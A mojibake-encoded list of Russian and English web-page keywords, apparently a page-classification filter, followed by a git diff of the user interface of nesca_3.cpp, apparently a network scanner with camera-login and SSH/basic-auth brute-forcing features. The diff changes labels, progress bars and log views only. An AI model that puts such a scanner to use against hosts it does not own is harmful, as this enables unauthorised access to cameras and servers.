||||||
|
VoIP Router
|
||||||
|
Can't connect to
|
||||||
|
xfinity
|
||||||
|
ñòðîé
|
||||||
|
ñòðîèò
|
||||||
|
VoIP Telephone
|
||||||
|
This site requires JavaScript
|
||||||
|
xtreamer
|
||||||
|
yahoo
|
||||||
|
you are not logged in
|
||||||
|
your explorer is no support frame
|
||||||
|
your website
|
||||||
|
yweb
|
||||||
|
wkrotce
|
||||||
|
àçàðòíûå èãðû
|
||||||
|
àêêîðäû
|
||||||
|
àíåêäîò
|
||||||
|
àïòåê
|
||||||
|
àðõèâ íîâîñòåé
|
||||||
|
â ñòàäèè ðàçðàáîòêè
|
||||||
|
â ðàçðàáîòêå
|
||||||
|
ôèëüì
|
||||||
|
film
|
||||||
|
Íå óäàåòñÿ îòîáðàçèòü ñòðàíèöó
|
||||||
|
page does not exist
|
||||||
|
ïðàâà çàùèùåíû
|
||||||
|
äà÷
|
||||||
|
äåøåâ
|
||||||
|
äåø¸â
|
||||||
|
pm2-web
|
||||||
|
äîñòàâêà
|
||||||
|
çàêàç
|
||||||
|
öåíà
|
||||||
|
çàðàáîòîê â ñåòè
|
||||||
|
çíàêîìñòâà
|
||||||
|
èñòåê ñðîê
|
||||||
|
êàðèêàòóð
|
||||||
|
êîíêóðñ
|
||||||
|
êîíòàêòû
|
||||||
|
êóõíè
|
||||||
|
ãëàâíàÿ ñòðàíèöà
|
||||||
|
ëè÷íûé êàáèíåò
|
||||||
|
ëîòåðå
|
||||||
|
ìåæäóíàðîäí
|
||||||
|
ìîäà
|
||||||
|
ìû ïðåäîñòàâëÿåì
|
||||||
|
íà ðåêîíñòðóêöèè
|
||||||
|
ïîçæå
|
||||||
|
íàéòè ðàáîòó
|
||||||
|
íàõîäèòñÿ â ðàçðàáîòêå
|
||||||
|
íàø áàííåð
|
||||||
|
êîìïàíè
|
||||||
|
íèçêèå öåíû
|
||||||
|
Íåêîððåêòíûé URL
|
||||||
|
Íåâîçìîæíî ïîäêëþ÷èòüñÿ
|
||||||
|
íîâûé àäðåñ
|
||||||
|
ìàãàç
|
||||||
|
î íàñ
|
||||||
|
îñòåâ
|
||||||
|
ïàðòíåðê
|
||||||
|
ïåðåâîä òåêñòîâ
|
||||||
|
ïåðååõà
|
||||||
|
ïåðñîíàëüíûé ñàéò
|
||||||
|
ïèøè
|
||||||
|
ïîäåðæàí
|
||||||
|
îòêëþ÷åí
|
||||||
|
ïðîôèëàêòè÷åñêèå ðàáîòû
|
||||||
|
âðåìåííûå íåóäîáñòâà
|
||||||
|
Íåâåðíûé êëþ÷
|
||||||
|
Seo
|
||||||
|
ïîäïèñàòüñÿ
|
||||||
|
ïîèñê ðàáîòû
|
||||||
|
ïðèêîë
|
||||||
|
ïðîäóêöèÿ
|
||||||
|
ïðîèçâîäñòâ
|
||||||
|
ïðîöåñ³ ðîçðîáêè
|
||||||
|
ðàáîòà â èíòåðíåòå
|
||||||
|
ðåãèñòðàöèè äîìåííûõ
|
||||||
|
ðåêëàìíûå ññûëêè
|
||||||
|
ðåìîíò
|
||||||
|
ñàéò â ðàçðàáîòêå
|
||||||
|
ñàéò íåäîñòóïåí
|
||||||
|
ñàéò êëàíà
|
||||||
|
ñêîðî çàïóñòèòñÿ
|
||||||
|
ñàéò íà ðàçðàáîòêå
|
||||||
|
ñâÿçü ñ íàìè
|
||||||
|
ñêèäê
|
||||||
|
ðàñêðóò
|
||||||
|
ñêîðî îòêðûòèå
|
||||||
|
ñëóæáà ïîääåðæêè
|
||||||
|
ñîçäàíèå íåäîðîãèõ ñàéòîâ
|
||||||
|
ñîçäàíèå ñàéòîâ
|
||||||
|
ñïîíñîðû
|
||||||
|
ñòàðòîâàÿ ñòðàíè
|
||||||
|
ñòèõè
|
||||||
|
òåñòîâàÿ ñòðàíè
|
||||||
|
òåõíè÷åñêèå ðàáîòû
|
||||||
|
óñëóãè
|
||||||
|
ôëåøêè
|
||||||
|
îøèáêà
|
||||||
|
íà õîñòèíãå
|
||||||
|
Fatal error:
|
||||||
|
mc.yandex.ru
|
||||||
|
UNKNOWN HOST
|
||||||
|
Ñàéò çàêðûò
|
||||||
|
?partner
|
||||||
|
õîêêå
|
||||||
|
äîáðî ïîæàëîâàòü â
|
||||||
|
ñòàòóñû
|
||||||
|
âûñêàçûâàíè
|
||||||
|
ôëýøêè
|
||||||
|
ôóòáîë
|
||||||
|
þìîð
|
||||||
|
íîâîñòè
|
||||||
|
íà ðåêîíñòðóêöèè
|
||||||
|
îáíîâëåíèå ñàéòà
|
||||||
|
îôèñ
|
||||||
|
þðèäè÷
|
||||||
|
ñòðàíèöà íå íàéäåíà
|
||||||
|
ïðîäà
|
389
nesca_3.cpp
389
nesca_3.cpp
@ -15,6 +15,7 @@
|
|||||||
#include <qdesktopservices.h>
|
#include <qdesktopservices.h>
|
||||||
#include <qmessagebox.h>
|
#include <qmessagebox.h>
|
||||||
#include "progressbardrawer.h"
|
#include "progressbardrawer.h"
|
||||||
|
#include "ColoredIndexBarDrawer.h"
|
||||||
#include "FileDownloader.h"
|
#include "FileDownloader.h"
|
||||||
#include "HikvisionLogin.h"
|
#include "HikvisionLogin.h"
|
||||||
#include <QCryptographicHash>
|
#include <QCryptographicHash>
|
||||||
@ -28,6 +29,8 @@
|
|||||||
#include <string>
|
#include <string>
|
||||||
#include <sstream>
|
#include <sstream>
|
||||||
#include <iomanip>
|
#include <iomanip>
|
||||||
|
#include "Utils.h"
|
||||||
|
|
||||||
|
|
||||||
NET_DVR_Init hik_init_ptr = NULL;
|
NET_DVR_Init hik_init_ptr = NULL;
|
||||||
NET_DVR_Cleanup hik_cleanup_ptr = NULL;
|
NET_DVR_Cleanup hik_cleanup_ptr = NULL;
|
||||||
@ -77,6 +80,7 @@ ActivityDrawerTh_HorNet *adtHN = new ActivityDrawerTh_HorNet();
|
|||||||
DrawerTh_VoiceScanner *vsTh = new DrawerTh_VoiceScanner();
|
DrawerTh_VoiceScanner *vsTh = new DrawerTh_VoiceScanner();
|
||||||
PieStat *psTh = new PieStat();
|
PieStat *psTh = new PieStat();
|
||||||
ProgressbarDrawer *pbTh = new ProgressbarDrawer();
|
ProgressbarDrawer *pbTh = new ProgressbarDrawer();
|
||||||
|
ColoredIndexBarDrawer *pbTh2 = new ColoredIndexBarDrawer();
|
||||||
|
|
||||||
bool MapWidgetOpened = false;
|
bool MapWidgetOpened = false;
|
||||||
bool globalScanFlag;
|
bool globalScanFlag;
|
||||||
@ -90,6 +94,7 @@ QGraphicsScene *sceneActivityGrid;
|
|||||||
QGraphicsScene *sceneTextPlacer;
|
QGraphicsScene *sceneTextPlacer;
|
||||||
QGraphicsScene *sceneVoice;
|
QGraphicsScene *sceneVoice;
|
||||||
QGraphicsScene *pbScene;
|
QGraphicsScene *pbScene;
|
||||||
|
QGraphicsScene *pb2Scene;
|
||||||
QGraphicsScene *jobRangeVisualScene;
|
QGraphicsScene *jobRangeVisualScene;
|
||||||
|
|
||||||
QString importFileName = "";
|
QString importFileName = "";
|
||||||
@ -143,6 +148,13 @@ QFont multiFontSmallFontPie;
|
|||||||
QFont multiFontSmallFontArc;
|
QFont multiFontSmallFontArc;
|
||||||
|
|
||||||
|
|
||||||
|
int PekoWidget::m_xPos = 305;
|
||||||
|
int PekoWidget::m_yPos = 0;
|
||||||
|
int PekoWidget::m_windowCounter = 0;
|
||||||
|
int PekoWidget::offset = 0;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
int psh_lul(PIP_ADAPTER_INFO zzaza)
|
int psh_lul(PIP_ADAPTER_INFO zzaza)
|
||||||
{
|
{
|
||||||
int chc = 0;
|
int chc = 0;
|
||||||
@ -350,8 +362,8 @@ void nesca_3::drawVerboseArcs(unsigned long gTargets) {
|
|||||||
ui->ipLabel->setText(QString(currentIP));
|
ui->ipLabel->setText(QString(currentIP));
|
||||||
ui->labelSavedValue->setText(QString::number(saved));
|
ui->labelSavedValue->setText(QString::number(saved));
|
||||||
ui->labelPendingTargets->setText(QString::number(gTargets));
|
ui->labelPendingTargets->setText(QString::number(gTargets));
|
||||||
ui->labelRunningThreads->setText(QString::number(cons) + "/" +
|
ui->labelRunningThreads->setText(QString::number(cons) + "|" +
|
||||||
QString::number(BrutingThrds) + "/" +
|
QString::number(BrutingThrds) + "|" +
|
||||||
QString::number(gThreads));
|
QString::number(gThreads));
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -389,6 +401,7 @@ void setSceneArea()
|
|||||||
sceneTextPlacer = new QGraphicsScene();
|
sceneTextPlacer = new QGraphicsScene();
|
||||||
sceneVoice = new QGraphicsScene();
|
sceneVoice = new QGraphicsScene();
|
||||||
pbScene = new QGraphicsScene();
|
pbScene = new QGraphicsScene();
|
||||||
|
pb2Scene = new QGraphicsScene();
|
||||||
jobRangeVisualScene = new QGraphicsScene();
|
jobRangeVisualScene = new QGraphicsScene();
|
||||||
|
|
||||||
ui->graphicLog->setScene(sceneGrid);
|
ui->graphicLog->setScene(sceneGrid);
|
||||||
@ -400,6 +413,7 @@ void setSceneArea()
|
|||||||
ui->graphicTextPlacer->setScene(sceneTextPlacer);
|
ui->graphicTextPlacer->setScene(sceneTextPlacer);
|
||||||
ui->graphicsVoice->setScene(sceneVoice);
|
ui->graphicsVoice->setScene(sceneVoice);
|
||||||
ui->pbgv->setScene(pbScene);
|
ui->pbgv->setScene(pbScene);
|
||||||
|
ui->pbgv_2->setScene(pb2Scene);
|
||||||
ui->jobRangeVisual->setScene(jobRangeVisualScene);
|
ui->jobRangeVisual->setScene(jobRangeVisualScene);
|
||||||
|
|
||||||
ui->graphicLog->setSceneRect(0, 0, ui->graphicLog->width(), ui->graphicLog->height());
|
ui->graphicLog->setSceneRect(0, 0, ui->graphicLog->width(), ui->graphicLog->height());
|
||||||
@ -411,6 +425,7 @@ void setSceneArea()
|
|||||||
ui->graphicTextPlacer->setSceneRect(0, 0, ui->graphicTextPlacer->width(), ui->graphicTextPlacer->height());
|
ui->graphicTextPlacer->setSceneRect(0, 0, ui->graphicTextPlacer->width(), ui->graphicTextPlacer->height());
|
||||||
ui->graphicsVoice->setSceneRect(0, 0, ui->graphicsVoice->width(), ui->graphicsVoice->height());
|
ui->graphicsVoice->setSceneRect(0, 0, ui->graphicsVoice->width(), ui->graphicsVoice->height());
|
||||||
ui->pbgv->setSceneRect(0, 0, ui->pbgv->width(), ui->pbgv->height());
|
ui->pbgv->setSceneRect(0, 0, ui->pbgv->width(), ui->pbgv->height());
|
||||||
|
ui->pbgv_2->setSceneRect(0, 0, ui->pbgv_2->width(), ui->pbgv_2->height());
|
||||||
ui->jobRangeVisual->setSceneRect(0, 0, ui->jobRangeVisual->width(), ui->jobRangeVisual->height());
|
ui->jobRangeVisual->setSceneRect(0, 0, ui->jobRangeVisual->width(), ui->jobRangeVisual->height());
|
||||||
|
|
||||||
|
|
||||||
@ -687,14 +702,14 @@ void nesca_3::slotDrawTextPlacers()
|
|||||||
linuxOffsetKOSTYL = 3;
|
linuxOffsetKOSTYL = 3;
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
QGraphicsTextItem *item = sceneTextPlacer->addText("- Anomalies", fnt);
|
QGraphicsTextItem *item = sceneTextPlacer->addText("- Cameras", fnt);
|
||||||
item->setX(25);
|
item->setX(25);
|
||||||
item->setY(94+linuxOffsetKOSTYL);
|
item->setY(94+linuxOffsetKOSTYL);
|
||||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||||
|
|
||||||
sceneTextPlacer->addLine(118, 120, 130, 100, penPT);
|
sceneTextPlacer->addLine(118, 120, 130, 100, penPT);
|
||||||
sceneTextPlacer->addLine(23, 121, 117, 121, penPT);
|
sceneTextPlacer->addLine(23, 121, 117, 121, penPT);
|
||||||
item = sceneTextPlacer->addText("- Webforms", fnt);
|
item = sceneTextPlacer->addText("- --", fnt);
|
||||||
item->setX(25);
|
item->setX(25);
|
||||||
item->setY(105+linuxOffsetKOSTYL);
|
item->setY(105+linuxOffsetKOSTYL);
|
||||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||||
@ -708,7 +723,7 @@ void nesca_3::slotDrawTextPlacers()
|
|||||||
|
|
||||||
sceneTextPlacer->addLine(190, 140, 210, 100, penPT);
|
sceneTextPlacer->addLine(190, 140, 210, 100, penPT);
|
||||||
sceneTextPlacer->addLine(23, 141, 189, 141, penPT);
|
sceneTextPlacer->addLine(23, 141, 189, 141, penPT);
|
||||||
item = sceneTextPlacer->addText("- Suspicious", fnt);
|
item = sceneTextPlacer->addText("- Other", fnt);
|
||||||
item->setX(25);
|
item->setX(25);
|
||||||
item->setY(125+linuxOffsetKOSTYL);
|
item->setY(125+linuxOffsetKOSTYL);
|
||||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||||
@ -722,7 +737,7 @@ void nesca_3::slotDrawTextPlacers()
|
|||||||
|
|
||||||
sceneTextPlacer->addLine(270, 160, 290, 100, penPT);
|
sceneTextPlacer->addLine(270, 160, 290, 100, penPT);
|
||||||
sceneTextPlacer->addLine(23, 161, 269, 161, penPT);
|
sceneTextPlacer->addLine(23, 161, 269, 161, penPT);
|
||||||
item = sceneTextPlacer->addText("- Lowloads", fnt);
|
item = sceneTextPlacer->addText("- --", fnt);
|
||||||
item->setX(25);
|
item->setX(25);
|
||||||
item->setY(145+linuxOffsetKOSTYL);
|
item->setY(145+linuxOffsetKOSTYL);
|
||||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||||
@ -1162,22 +1177,24 @@ void nesca_3::slotUpdatePie()
|
|||||||
float degree = (16*360) / (float)100;
|
float degree = (16*360) / (float)100;
|
||||||
|
|
||||||
float perc0 = ((float)nAlive * 100) * degree;
|
float perc0 = ((float)nAlive * 100) * degree;
|
||||||
float perc1 = ((float)PieAnomC1/(float)(found) * 100) * degree;
|
float perc1 = ((float)PieCamerasC1/(float)(found) * 100) * degree;
|
||||||
float perc2 = ((float)PieSusp/(float)(found) * 100) * degree;
|
float perc2 = ((float)PieOther/(float)(found) * 100) * degree;
|
||||||
float perc3 = ((float)PieBA/(float)(found) * 100) * degree;
|
float perc3 = ((float)PieBA/(float)(found) * 100) * degree;
|
||||||
float perc4 = ((float)PieLowl/(float)(found) * 100) * degree;
|
//float perc4 = ((float)PieLowl/(float)(found) * 100) * degree;
|
||||||
float perc5 = ((float)PieWF/(float)(found) * 100) * degree;
|
float perc4 = 0;
|
||||||
|
//float perc5 = ((float)PieWF/(float)(found) * 100) * degree;
|
||||||
|
float perc5 = 0;
|
||||||
float perc6 = ((float)PieSSH/(float)(found) * 100) * degree;
|
float perc6 = ((float)PieSSH/(float)(found) * 100) * degree;
|
||||||
|
|
||||||
QString dataSaved = "Saved: " + QString::number(goods/(float)(found > 0 ? found : 1) * 100) + "%(" + QString::number(goods) + ")";
|
QString dataSaved = "Saved:\t" + QString::number(goods/(float)(found > 0 ? found : 1) * 100) + "%(" + QString::number(goods) + ")";
|
||||||
QString dataParsed = "Filtered: " + QString::number((found - goods)/(float)(found > 0 ? found : 1) * 100) + "%(" + QString::number(found - goods) + ")";
|
QString dataParsed = "Filtered:\t" + QString::number((found - goods)/(float)(found > 0 ? found : 1) * 100) + "%(" + QString::number(found - goods) + ")";
|
||||||
QString dataOnline = "Online: " + QString::number(found);
|
QString dataOnline = "Online:\t" + QString::number(found);
|
||||||
QString dataAnom = "Anomalies: " + QString::number(PieAnomC1/(float)(goods > 0 ? goods : 1) * 100) + "%";
|
QString dataAnom = "Cameras:\t" + QString::number(PieCamerasC1 / (float)(goods > 0 ? goods : 1) * 100) + "%";
|
||||||
QString dataBA = "Basic Auth: " + QString::number(PieBA/(float)(goods > 0 ? goods : 1) * 100) + "%";
|
QString dataBA = "Auth:\t" + QString::number(PieBA/(float)(goods > 0 ? goods : 1) * 100) + "%";
|
||||||
QString dataSusp = "Suspicious: " + QString::number(PieSusp/(float)(goods > 0 ? goods : 1) * 100) + "%";
|
QString dataSusp = "Other:\t" + QString::number(PieOther / (float)(goods > 0 ? goods : 1) * 100) + "%";
|
||||||
QString dataLowl = "Lowload: " + QString::number(PieLowl/(float)(goods > 0 ? goods : 1) * 100) + "%";
|
QString dataLowl = "--:\t" + QString::number(0/(float)(goods > 0 ? goods : 1) * 100) + "%";
|
||||||
QString dataWF = "WebForms: " + QString::number(PieWF/(float)(goods > 0 ? goods : 1) * 100) + "%";
|
QString dataWF = "--:\t" + QString::number(0 / (float)(goods > 0 ? goods : 1) * 100) + "%";
|
||||||
QString dataSSH = "SSH: " + QString::number(PieSSH/(float)(goods > 0 ? goods : 1) * 100) + "%";
|
QString dataSSH = "SSH:\t" + QString::number(PieSSH/(float)(goods > 0 ? goods : 1) * 100) + "%";
|
||||||
|
|
||||||
int dataX = 1;
|
int dataX = 1;
|
||||||
int dataY = 13;
|
int dataY = 13;
|
||||||
@ -1249,7 +1266,7 @@ void nesca_3::slotUpdatePie()
|
|||||||
item->setBrush(QBrush(Qt::white));
|
item->setBrush(QBrush(Qt::white));
|
||||||
sceneGraph->addItem(item);
|
sceneGraph->addItem(item);
|
||||||
};
|
};
|
||||||
//Anomalies
|
//Cameras
|
||||||
if(perc1 > 0)
|
if(perc1 > 0)
|
||||||
{
|
{
|
||||||
item = new QGraphicsEllipseItem(PieX, 2, PieW, 97);
|
item = new QGraphicsEllipseItem(PieX, 2, PieW, 97);
|
||||||
@ -1350,18 +1367,19 @@ void nesca_3::activatePieStatBut()
|
|||||||
|
|
||||||
void nesca_3::switchDataFields()
|
void nesca_3::switchDataFields()
|
||||||
{
|
{
|
||||||
if(ui->switcherBut->text() == "<")
|
if (!BALogSwitched)
|
||||||
{
|
{
|
||||||
BALogSwitched = true;
|
BALogSwitched = true;
|
||||||
ui->dataText->lower();
|
ui->dataText->lower();
|
||||||
ui->BAText->raise();
|
ui->BATableView->raise();
|
||||||
ui->switcherBut->setText(">");
|
ui->switcherBut->setText(">");
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
|
BAModel->clear();
|
||||||
BALogSwitched = false;
|
BALogSwitched = false;
|
||||||
ui->dataText->raise();
|
ui->dataText->raise();
|
||||||
ui->BAText->lower();
|
ui->BATableView->lower();
|
||||||
ui->switcherBut->setText("<");
|
ui->switcherBut->setText("<");
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
@ -1434,7 +1452,7 @@ bool nesca_3::eventFilter(QObject* obj, QEvent *event)
|
|||||||
void nesca_3::slotClearLogs()
|
void nesca_3::slotClearLogs()
|
||||||
{
|
{
|
||||||
ui->dataText->clear();
|
ui->dataText->clear();
|
||||||
ui->BAText->clear();
|
BAModel->clear();
|
||||||
}
|
}
|
||||||
|
|
||||||
int c = 1;
|
int c = 1;
|
||||||
@ -1952,7 +1970,7 @@ void nesca_3::smReaction()
|
|||||||
if(smBit_1 && smBit_2 && smBit_3 && smBit_4 && smBit_5 && smBit_6 && smBit_7 && smBit_8)
|
if(smBit_1 && smBit_2 && smBit_3 && smBit_4 && smBit_5 && smBit_6 && smBit_7 && smBit_8)
|
||||||
{
|
{
|
||||||
gDebugMode = true;
|
gDebugMode = true;
|
||||||
stt->doEmitionDebugFoundData("[Debug mode ON]");
|
ui->dataText->append("<img src='data:image/gif;base64,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'/>");
|
||||||
}
|
}
|
||||||
else if(smBit_1 && smBit_2 == false && smBit_3 && smBit_4 == false && smBit_5 == false && smBit_6 == false && smBit_7 == false && smBit_8 == false)
|
else if(smBit_1 && smBit_2 == false && smBit_3 && smBit_4 == false && smBit_5 == false && smBit_6 == false && smBit_7 == false && smBit_8 == false)
|
||||||
{
|
{
|
||||||
@ -1969,13 +1987,11 @@ void nesca_3::smReaction()
|
|||||||
HTMLDebugMode = true;
|
HTMLDebugMode = true;
|
||||||
stt->doEmitionDebugFoundData("[HTML Debug mode ON]");
|
stt->doEmitionDebugFoundData("[HTML Debug mode ON]");
|
||||||
}
|
}
|
||||||
|
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
if(gDebugMode)
|
if(gDebugMode)
|
||||||
{
|
{
|
||||||
gDebugMode = false;
|
gDebugMode = false;
|
||||||
stt->doEmitionDebugFoundData("[Debug mode OFF]");
|
|
||||||
};
|
};
|
||||||
if(code160)
|
if(code160)
|
||||||
{
|
{
|
||||||
@ -2085,7 +2101,40 @@ void nesca_3::slotPBUpdate()
|
|||||||
pbScene->addLine(4, 77, 6, 77, pbPen);
|
pbScene->addLine(4, 77, 6, 77, pbPen);
|
||||||
pbScene->addLine(4, 88, 6, 88, pbPen);
|
pbScene->addLine(4, 88, 6, 88, pbPen);
|
||||||
}
|
}
|
||||||
|
#include <unordered_map>
|
||||||
|
